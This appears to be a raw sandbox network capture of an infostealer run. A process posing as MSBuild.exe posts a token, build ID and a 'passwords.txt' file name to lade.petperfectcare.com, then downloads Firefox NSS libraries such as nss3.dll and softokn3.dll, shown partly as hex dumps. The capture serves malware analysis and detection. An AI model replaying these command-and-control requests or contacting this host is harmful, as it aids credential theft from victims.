cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 69 a8 60 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 25 00 d4 20 00 00 ca 04 00 00 00 00 00 7b 44 00 00 00 10 00 00 00 f0 20 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZYPELi`e!% {D %@#6$($$`#8x#@$.textG `.rdata" $ @@.data4\| $b#@.idata$^$@@.00cfg$p$@@.rsrc$r$@@.reloc5$$@B
Oct 7, 2024 18:43:27.916712999 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc cc cc cc cc e9 8b 17 1c 00 e9 a0 11 1d 00 e9 bf ab 1b 00 e9 a2 44 1c 00 e9 3b 27 1d 00 e9 cc 5a 1d 00 e9 95 a9 1c 00 e9 Data Ascii: D;'ZRxs\tNg4^0Gb&OlpjBT%{rf:%oR}r
Oct 7, 2024 18:43:27.916723967 CEST	1236	IN	Data Raw: e9 de dd 1a 00 e9 38 5b 1e 00 e9 03 3c 1c 00 e9 d8 5a 1b 00 e9 36 f6 1d 00 e9 a1 53 1c 00 e9 fd 8f 1c 00 e9 5c c1 1b 00 e9 7e a0 1a 00 e9 cf ff 1e 00 e9 f6 9f 1a 00 e9 68 00 1e 00 e9 b8 b0 1f 00 e9 32 5a 1d 00 e9 43 81 1e 00 e9 c5 06 1b 00 e9 b0 Data Ascii: 8[<Z6S\~h2ZC;<V.++-9nq(+:FEska9_U`GiY! O<'_zBo0q
Oct 7, 2024 18:43:27.916827917 CEST	1236	IN	Data Raw: af 87 1e 00 e9 da 21 1d 00 e9 17 0a 1d 00 e9 54 2a 1a 00 e9 b6 59 1b 00 e9 d4 75 00 00 e9 97 40 1c 00 e9 2d 18 1c 00 e9 36 21 1b 00 e9 f4 21 20 00 e9 b1 44 1f 00 e9 be af 1c 00 e9 e1 96 1e 00 e9 6e 6b 1d 00 e9 bb a8 1c 00 e9 92 79 1f 00 e9 ed 8d Data Ascii: !T*Yu@-6!! DnkySD<8~d`14Y^2HNU7V3P][ M #~Vvt5-
Oct 7, 2024 18:43:27.916841030 CEST	1236	IN	Data Raw: 2a 03 00 e9 20 a8 1d 00 e9 cf 3e 1d 00 e9 a3 bc 1e 00 e9 fd e3 1b 00 e9 16 88 1c 00 e9 e4 25 1d 00 e9 23 30 1d 00 e9 20 27 1a 00 e9 4b 94 1b 00 e9 3b ca 1b 00 e9 eb 26 1d 00 e9 6e 71 03 00 e9 19 50 03 00 e9 b4 62 1e 00 e9 2f af 17 00 e9 d7 a8 1b Data Ascii: * >%#0 'K;&nqPb/2VU}9GM>P8 M.9!'q6B=T$
Oct 7, 2024 18:43:30.080018044 CEST	191	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGD Host: lade.petperfectcare.com Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:43:30.969750881 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 18:43:31.130919933 CEST	191	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKEBAKFHCFHIEBFBAFB Host: lade.petperfectcare.com Content-Length: 1529 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:43:32.142841101 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 18:43:33.272911072 CEST	627	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEGDBGDBFIJKECBAKFB Host: lade.petperfectcare.com Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 32 36 34 30 64 62 65 38 65 66 65 63 34 62 36 66 34 66 62 36 63 61 35 33 35 61 36 63 35 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 36 39 34 62 36 64 35 30 31 39 39 65 61 34 34 32 30 37 61 39 37 65 32 35 64 64 61 35 35 30 36 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 [TRUNCATED] Data Ascii: ------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="token"372640dbe8efec4b6f4fb6ca535a6c5e------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="build_id"e694b6d50199ea44207a97e25dda5506------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="file_data"------IJEGDBGDBFIJKECBAKFB--
Oct 7, 2024 18:43:34.830985069 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 18:43:34.831505060 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 18:43:34.832225084 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	51632	95.164.90.97	80	6628	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 18:43:32.136662960 CEST	627	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKEBAKFHCFHIEBFBAFB Host: lade.petperfectcare.com Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 32 36 34 30 64 62 65 38 65 66 65 63 34 62 36 66 34 66 62 36 63 61 35 33 35 61 36 63 35 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 36 39 34 62 36 64 35 30 31 39 39 65 61 34 34 32 30 37 61 39 37 65 32 35 64 64 61 35 35 30 36 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b [TRUNCATED] Data Ascii: ------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="token"372640dbe8efec4b6f4fb6ca535a6c5e------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="build_id"e694b6d50199ea44207a97e25dda5506------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="file_data"------DAKEBAKFHCFHIEBFBAFB--
Oct 7, 2024 18:43:33.417304039 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 18:43:34.323596001 CEST	109	OUT	GET /freebl3.dll HTTP/1.1 Host: lade.petperfectcare.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:43:34.630417109 CEST	109	OUT	GET /freebl3.dll HTTP/1.1 Host: lade.petperfectcare.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:43:35.021296978 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:34 GMT Content-Type: application/octet-stream Content-Length: 685392 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-a7550" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 7, 2024 18:43:35.021321058 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b 08 Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t08
Oct 7, 2024 18:43:35.021332979 CEST	1236	IN	Data Raw: 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff ff Data Ascii: USWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D
Oct 7, 2024 18:43:35.021342993 CEST	1236	IN	Data Raw: 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 00 Data Ascii: SWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Oct 7, 2024 18:43:35.021358967 CEST	1236	IN	Data Raw: 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 08 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1t
Oct 7, 2024 18:43:35.021364927 CEST	1236	IN	Data Raw: 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 83 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Oct 7, 2024 18:43:35.021372080 CEST	1236	IN	Data Raw: d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba 04 Data Ascii: U]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7}
Oct 7, 2024 18:43:35.021480083 CEST	1236	IN	Data Raw: 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 0f Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}4
Oct 7, 2024 18:43:35.021492004 CEST	1236	IN	Data Raw: cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 d6 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS L
Oct 7, 2024 18:43:35.021502972 CEST	1236	IN	Data Raw: 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c ff Data Ascii: Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
Oct 7, 2024 18:43:35.022327900 CEST	1236	IN	Data Raw: ff 89 7d d4 8b 95 e0 fe ff ff 11 d0 89 45 cc 8b 4d a0 31 c1 8b 75 9c 31 fe 8b 5d c4 01 cb 89 5d c4 8b 7d bc 11 f7 89 7d bc 8b 85 7c ff ff ff 31 d8 89 c3 31 fa 0f a4 d0 08 0f a4 da 08 89 d7 8b 55 d4 03 95 40 ff ff ff 8b 5d cc 13 9d 3c ff ff ff 01 Data Ascii: }EM1u1]]}}\|11U@]<U]11lMuuMM11UM EHMM(Eh1]1EEuu]11]
Oct 7, 2024 18:43:35.736484051 CEST	109	OUT	GET /mozglue.dll HTTP/1.1 Host: lade.petperfectcare.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:43:36.181382895 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:35 GMT Content-Type: application/octet-stream Content-Length: 608080 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-94750" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 7, 2024 18:43:36.189358950 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:35 GMT Content-Type: application/octet-stream Content-Length: 608080 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-94750" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 7, 2024 18:43:36.351584911 CEST	110	OUT	GET /msvcp140.dll HTTP/1.1 Host: lade.petperfectcare.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:43:36.543992043 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:36 GMT Content-Type: application/octet-stream Content-Length: 450024 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-6dde8" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 7, 2024 18:43:36.960000038 CEST	110	OUT	GET /softokn3.dll HTTP/1.1 Host: lade.petperfectcare.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:43:37.213656902 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:37 GMT Content-Type: application/octet-stream Content-Length: 257872 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-3ef50" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 7, 2024 18:43:37.369544983 CEST	114	OUT	GET /vcruntime140.dll HTTP/1.1 Host: lade.petperfectcare.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:43:37.735214949 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:37 GMT Content-Type: application/octet-stream Content-Length: 80880 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-13bf0" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 7, 2024 18:43:37.749253988 CEST	106	OUT	GET /nss3.dll HTTP/1.1 Host: lade.petperfectcare.com Connection: Keep-Alive Cache-Control: no-cache
